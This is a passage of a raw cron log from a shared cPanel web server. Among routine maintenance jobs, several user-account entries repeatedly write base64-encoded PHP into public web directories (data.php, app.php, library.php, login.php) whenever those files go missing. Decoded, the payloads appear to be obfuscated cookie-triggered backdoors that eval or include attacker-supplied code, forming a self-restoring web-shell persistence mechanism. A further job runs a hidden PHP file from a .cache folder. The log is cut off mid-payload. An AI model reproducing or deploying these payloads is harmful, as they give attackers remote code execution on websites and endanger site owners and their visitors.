Jun  7 07:40:02 medusa CROND[5391]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:40:02 medusa CROND[5392]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 07:40:02 medusa CROND[5393]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 07:40:02 medusa CROND[5407]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:40:02 medusa CROND[5369]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 07:40:02 medusa CROND[5435]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 07:41:01 medusa CROND[7340]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 07:41:01 medusa CROND[7390]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 07:41:01 medusa CROND[7392]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 07:41:01 medusa CROND[7395]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 07:41:01 medusa CROND[7396]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 07:41:01 medusa CROND[7397]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:41:01 medusa CROND[7399]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:41:01 medusa CROND[7400]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 07:41:01 medusa CROND[7398]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 07:41:01 medusa CROND[7402]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 07:41:01 medusa CROND[7406]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:41:01 medusa CROND[7407]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 07:41:01 medusa CROND[7408]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:41:01 medusa CROND[7416]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 07:42:02 medusa CROND[9073]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 07:42:02 medusa CROND[9074]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:42:02 medusa CROND[9075]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 07:42:02 medusa CROND[9076]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 07:42:02 medusa CROND[9077]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 07:42:02 medusa CROND[9078]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 07:42:02 medusa CROND[9079]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 07:42:02 medusa CROND[9080]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 07:42:02 medusa CROND[9081]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 07:42:02 medusa CROND[9083]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:42:02 medusa CROND[9084]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:42:02 medusa CROND[9086]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 07:42:02 medusa CROND[9087]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoM